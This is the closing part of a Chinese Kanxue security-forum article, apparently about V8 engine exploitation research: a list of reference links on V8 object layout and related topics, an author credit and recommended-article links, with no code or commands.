3、《V8 Bug Hunting 之 JS 类型对象的内存布局总结》
https://www.anquanke.com/post/id/185339

4、《V8 是怎么跑起来的 —— V8 中的对象表示》
https://juejin.im/post/5cc7dc5af265da038d0b514d

5、《奇技淫巧学 V8 之二,对象在 V8 内的表达》
https://zhuanlan.zhihu.com/p/28780798

6、《V8 小整数(smi)和指针》
https://zhuanlan.zhihu.com/p/82854566

7、《从一道CTF题零基础学V8漏洞利用》
https://www.freebuf.com/vuls/203721.html

8、《JavaScript 引擎 V8 执行流程概述》
https://mp.weixin.qq.com/s/t__Jqzg1rbTlsCHXKMwh6A

9、《IEEE754标准 单精度(32位)/双精度(64位)浮点数解码》
https://blog.csdn.net/abcdu1/article/details/75095781

10、《ArrayBuffer,二进制数组》
https://zh.javascript.info/arraybuffer-binary-arrays

11、《V8环境搭建,100%成功版》
https://mem2019.github.io/jekyll/update/2019/07/18/V8-Env-Config.html


- End -





看雪ID:jltxgcy

https://bbs.pediy.com/user-620204.htm 

*本文由看雪论坛 jltxgcy 原创,转载请注明来自看雪社区。


推荐文章++++

一个深网灰色直播APP的逆向研究

捆绑包驱动锁首病毒分析

**游戏逆向分析笔记

对宝马车载apps协议的逆向分析研究

x86_64架构下的函数调用及栈帧原理

好书推荐






公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存